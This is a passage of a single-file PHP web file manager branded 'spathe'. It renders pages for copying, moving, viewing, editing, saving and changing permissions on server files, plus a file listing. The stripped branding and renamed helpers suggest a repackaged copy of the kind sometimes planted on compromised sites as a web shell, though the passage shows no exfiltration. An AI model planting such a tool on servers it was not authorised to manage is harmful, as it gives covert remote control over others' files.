<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header();
fm_show_nav_path(FM_PATH);
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
<strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
<strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php echo lng('Select folder') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) and !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
<div class="col-sm-5">
<select class="form-select" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='$k' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<div class="mt-3 mb-3 row ">
<label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
<div class="col-sm-5">
<select class="form-select w-100" id="js-3-0" name="js-theme-3">
<option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
<option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
</select>
</div>
</div>
<div class="mb-3 row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="." target="_blank" class="app-v-title"> spathe <?php echo VERSION; ?></a></h3></p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['view'])) {
$file = $_GET['view'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
<?php $display_path = fm_get_display_path($file_path); ?>
<strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
<strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
<strong>MIME-type:</strong> <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) and $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
<?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
<?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
<?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
<?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<div class="d-flex align-items-center mb-3">
<form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button>
</form>
<b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
</form>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<input type="hidden" name="tofolder" value="1">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
</form>
<?php
}
if ($is_text and !FM_READONLY) {
?>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
</a></b>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
</a></b>
<?php } ?>
<b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
</div>
<?php
if($is_onlineViewer) {
if($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else if($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fanco($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>'.lng('Error while fetching archive info').'</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fanco($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$editFile = ' : <i><b>'. $file. '</b></i>';
header('X-XSS-Protection:0');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng('File Saved Successfully'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
<select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
<select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
<a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
<a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text and $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng('ChangePermissions') ?>
</h6>
<div class="card-body">
<p class="card-text">
<?php $display_path = fm_get_display_path($file_path); ?>
<?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng('Owner') ?></b></td>
<td><b><?php echo lng('Group') ?></b></td>
<td><b><?php echo lng('Other') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng('Name') ?></th>
<th><?php echo lng('Size') ?></th>
<th><?php echo lng('Modified') ?></th>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<th><?php echo lng('Perms') ?></th>
<th><?php echo lng('Owner') ?></th><?php endif; ?>
<th><?php echo lng('Actions') ?></th>
</tr>
</thead>
<?php
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN and !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$uu = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = "";
$filesize = lng('Folder');
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $uu ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
</td>
<td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$uu++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fanco($f) ?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
<?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a>
